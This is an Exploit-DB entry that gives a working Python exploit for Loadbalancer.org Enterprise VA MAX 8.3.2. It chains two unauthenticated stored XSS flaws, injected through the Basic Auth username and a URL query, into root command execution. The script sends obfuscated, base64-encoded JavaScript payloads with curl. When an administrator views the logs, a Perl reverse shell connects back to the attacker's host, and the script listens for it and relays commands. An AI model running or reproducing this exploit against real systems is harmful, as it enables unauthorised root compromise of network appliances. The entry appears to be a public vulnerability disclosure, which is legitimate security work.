Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution

EDB-ID:

45758

CVE:

N/A


Platform:

PHP

Published:

2018-10-31

# Exploit Title: Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution
# Date: 2018-07-24
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.loadbalancer.org/
# Version: <= 8.3.2
# CVE: N/A

# Exploit Description: Loadbalancer.org Enterprise VA MAX - Remote Code Execution via Unauthenticated Stored XSS
# Info: It is advised to use HTTPS port instead of HTTP for sending payloads as storing JavaScript in "Apache Error Log" does not work for HTTP.
# Info: JavaScript can be easily changed to for example modify SSH configuration or add/modify web users

# Basic Information:
# Two instances of Stored XSS were found - exploit uses both:
# 1. It is possible to inject custom JavaScript code during authentication to "/lbadmin/".
# Application takes input from Basic Auth (username) and stores it without encoding/sanitization/filtering in "Apache Error Log".
# This instance only forks for HTTPS.
# 2. It is possible to inject custom JavaScript code by accessing URL like /?<XSS>.
# Such JavaScript is stored in "Apache User Log".

# This way attacker can store JavaScript code that can for example execute system command as root. This is actually what this exploit does - spawns reverse shell.
# When application user browses "Apache Error Log" or "Apache User Log" custom JavaScript code gets automatically executed.


#!/usr/bin/python

import socket
import sys
import os
import threading
import subprocess
import time
import base64

# print help or assign arguments
if len(sys.argv) != 3:
    sys.stderr.write("[-]Usage: python %s <our_ip:port> <proto://remote_ip:port>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 192.168.1.1:80 https://192.168.1.2:9443\n" % sys.argv[0])
    sys.exit(1)

lhost = sys.argv[1] # our ip address and port
rhost = sys.argv[2] # ip address and port of vulnerable Loadbalancer
raw = """perl -e 'use Socket;$i=\"""" + lhost.split(":")[0] + """\";$p=""" + lhost.split(":")[1] + """;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" # raw reverse shell in perl
payload_url = 'document.getElementById("lb").contentDocument.forms[0].elements["command"].value = "echo ' + base64.b64encode(raw.encode("ascii")) + ' | base64 -d | bash";document.getElementById("lb").contentDocument.forms[0].submit();' # base64 encoded reverse shell in perl
payload_auth = "<iframe id='lb'/src='/lbadmin/config/command.php'/style='width&colon;0;height&colon;0;border&colon;0;border&colon;none;'/onload=eval(atob('" + base64.b64encode(payload_url.encode("ascii")) + "'))></iframe>:pwd" # base64 encoded reverse shell in perl

# for additional thread to send request in parallel
class requests (threading.Thread):
    def run(self):
        time.sleep(5)
	# send requests to trigger vulnerability
	os.system('curl -s -k -m 10 -X "GET" -H "Authorization: Basic ' + base64.b64encode(payload_auth.encode("ascii")) + '" "' + rhost + '/lbadmin/" > /dev/null') # store payload in Apache Error logs
	os.system('curl -s -k -m 10 -X "GET" "' + rhost + '/?<iframe/id=\'lb\'/src=\'/lbadmin/config/command.php\'/onload=\'eval(atob(\`' + base64.b64encode(payload_url.encode("ascii")) + '\`))\'/style=\'width:0;height:0;border:0;border:none;\'></iframe>" > /dev/null') # store payload in Apache User logs

# for additional thread to receive data from socket
class receiving (threading.Thread):
    def __init__(self, conn):
        threading.Thread.__init__(self)
        self.conn = conn
	self._is_running = True
    def stop(self):
	self._is_running = False
    def run(self):
        while (self._is_running):
            cmd = conn.recv(1024)
            sys.stdout.write(cmd)
            sys.stdout.flush()
	    if cmd == '':
		break
	threadr.stop()

# function that creates socket
def create_socket(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', port))
    sock.listen(10)
    conn, addr = sock.accept()
    return sock, conn, addr

# start thread that sends request
print 'Sending requests that triggers vulnerability.'
thread = requests()
thread.start()

# create socket to receive shell
print 'Now you need to wait for shell.'
sock, conn, addr = create_socket(int(lhost.split(":")[1]))
threadr = receiving(conn)
threadr.start()
while True:
    cmd = raw_input("")
    if cmd == 'exit':
	conn.send(cmd + "\n")
        break
    else:
        conn.send(cmd + "\n")
sock.close()